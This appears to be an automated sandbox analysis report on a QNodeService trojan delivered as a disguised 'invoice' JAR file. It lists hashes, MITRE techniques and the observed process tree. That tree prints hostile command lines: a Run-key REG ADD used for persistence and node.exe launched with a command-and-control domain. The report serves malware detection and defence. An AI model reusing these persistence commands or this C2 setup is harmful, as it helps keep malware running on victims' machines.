qnodeservice | 11895cd1cf052ecdc422e34c8fc2a94680c099721239f805588b4a2cc4ece2f3

General

Target

Facture Octobre #062020.pdf.jar
Size

79KB
MD5

4a7c190f6b0127204791b9d0ba7396b3
SHA1

1283c92f8035dd6440b2cebd696177bfac840e02
SHA256

11895cd1cf052ecdc422e34c8fc2a94680c099721239f805588b4a2cc4ece2f3
SHA512

3d0b6ca9f4819ac94f55ab96dccb2bbfba99730fa01a4d3c5398a5f082d63bd6aec3cd29f3c31db0d0356c9ed48ce5f944801126d9613dde07b262b08b59d694

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2424	node.exe
1404	node.exe
4640	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ea6919a8-6960-46e5-8861-7b75bac4840d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab81-175.dat	js
behavioral2/files/0x000100000001ab81-178.dat	js
behavioral2/files/0x000100000001ab81-182.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2424	node.exe
2424	node.exe
2424	node.exe
2424	node.exe
1404	node.exe
1404	node.exe
1404	node.exe
1404	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe
4640	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 640	4756	java.exe	76
PID 4756 wrote to memory of 640	4756	java.exe	76
PID 640 wrote to memory of 2424	640	javaw.exe	80
PID 640 wrote to memory of 2424	640	javaw.exe	80
PID 2424 wrote to memory of 1404	2424	node.exe	82
PID 2424 wrote to memory of 1404	2424	node.exe	82
PID 1404 wrote to memory of 4640	1404	node.exe	83
PID 1404 wrote to memory of 4640	1404	node.exe	83
PID 4640 wrote to memory of 4604	4640	node.exe	85
PID 4640 wrote to memory of 4604	4640	node.exe	85
PID 4604 wrote to memory of 4008	4604	cmd.exe	86
PID 4604 wrote to memory of 4008	4604	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Facture Octobre #062020.pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\526ac3e2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain mparrain10.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_qQesX7\boot.js --hub-domain mparrain10.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1404
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_qQesX7\boot.js --hub-domain mparrain10.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4640
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ea6919a8-6960-46e5-8861-7b75bac4840d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4604
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ea6919a8-6960-46e5-8861-7b75bac4840d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1404-179-0x000000DB2FF80000-0x000000DB2FF81000-memory.dmp

Filesize
4KB

Download
memory/2424-176-0x00000084E62C0000-0x00000084E62C1000-memory.dmp

Filesize
4KB

Download
memory/4640-183-0x0000008F3A180000-0x0000008F3A181000-memory.dmp

Filesize
4KB

Download

Analysis

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